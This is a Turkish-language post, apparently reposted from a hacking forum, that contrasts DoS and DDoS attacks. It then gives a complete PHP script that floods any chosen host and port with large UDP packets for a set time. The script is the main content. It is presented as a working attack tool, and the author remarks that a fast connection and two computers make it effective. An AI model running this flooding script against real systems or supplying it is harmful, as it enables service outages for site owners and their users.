Öncelikle (Dos) Denial of Service Attack konusuna değinelim. Bakın burda bir şeyin altını çizmek isterim DDos saldırısı değil Dos saldırısı bu iki attack arasında fark vardır biri kurulan vampir bilgisayar ağıyla yapılırken diğeri tek bilgisayarla yapılan işlemlerdir.

DDoS ile ; önceden ele geçirilmiş bilgisayar ve sistemler istenilen ağa TCP - UDP attacklar yaptırılmaya zorlanırken DoS saldırı'da tek bir bilgisayar üzerinden hizmet engelleme saldırıları yapılır kısacası server bantı zorlanır diyebilirim. Yani aslında aralarındaki en büyük fark verdikleri zarar olarak nitelendirebiliriz.

DDoS toplu bir istila olduğu için tek yapılan DoS saldırıya göre çok daha etkili olmakta ve firewall sistemleri bile etkisiz hale getirmektedir.

Son zamanlarda dünya üzerinde toplu istilaların sayısı git gide artmakta ve ne yazık ki yoğun gelen bant saldırılarına karşı proxy ve firewall sistemleri yetersiz kalabiliyor. Normalde hep karşımıza python ve daha alt seviye olan c ve c++ gibi dillerde çıkan DoS attak mantıgını biz php de UDP paketleri ile yapacagız. Bu tarz saldırıların daha etkili olabilmesi internetinizin hızıyla doğrudan alakalıdır. Ne kadar güçlü ve hızlı bir ağ o kadar etkili bir attack anlamındadır.

DDoS ve DoS attack ile hedef siteye veya sisteme kalıcı zararlar verilememekte yada veriler ele geçirilememektedir lakin firewall devre dışı bırakılması sistemde bir açığı ortaya çıkardığından ondan sonra yapılan farklı attacklar ile istenilen bilgiler ele geçirilebilecek seviyeye indirgenebilir.

PHP ile Bir DoS :

//GET ile parametrelerimizi adresimizden bekliyoruz.
if(!isset($_GET["host"]))die("Host adres belirtilmemiş !");
if(!isset($_GET["zaman"]))die("Zaman ayarı verilmemiş !");
if(!isset($_GET["port"]))die("Port ayarı verilmemiş !");

//Paket Büyüklüğü :
$size = 100000;

//Gelen parametrelerimizi Değişkenlere atıyoruz.
$host = $_GET["host"];
$attacktime = $_GET["zaman"];
$port = $_GET["port"];
$baslangic = time();
$rq = str_repeat("0",$size);

//Bağlantıyı terk etmeyi sağlar beklemez
ignore_user_abort(FALSE);

for($i = 1 ; time() < ($baslangic + $attacktime) ; $i++)
{
//fsockopen ile bir socket bağlantısı oluşturup UDP protokolü ile hedef serverımıza belirttiğimiz süre kadar istek gönderiyoruz.
$playGame = fsockopen("udp://$host",$port,$errno,$msg,12);
echo $i . " Attack Başarılı"." Paket : " .$i*$size. "<br />";
fwrite($playGame,$rq);
fclose($playGame);
}

$trace = array("time"=>time() - $baslangic,"bytes"=>$i*$size);
echo json_encode($trace);

Kodumuzun çalışmasında Localhost üzerinden 3 parametre beklemekte bunlar host,zaman,port bunları belirttikten sonra deneme UDP DoS Saldırınızı yapabilirsiniz.

Evet bu şekilde PHP ile basit bir UDP DoS Attack yapan scripti yazmış olduk çok etkili olmasada hızlı bir internet ve 2 bilgisayar etkili olmasını sağlayabilir :)

Günümüzde DoS Korumalı hosting ve sunucular sayesinde bu saldırıdan mümkün mertebe korunabiliyoruz lakin yazımda da detaylıca anlattığım üzere büyük saldırılarda devre dışı kalan firewallar ile toplu yapılan istila saldırıları yani DDoS lardan tam olarak korunma sağlanabilmiş değil..


aLinti..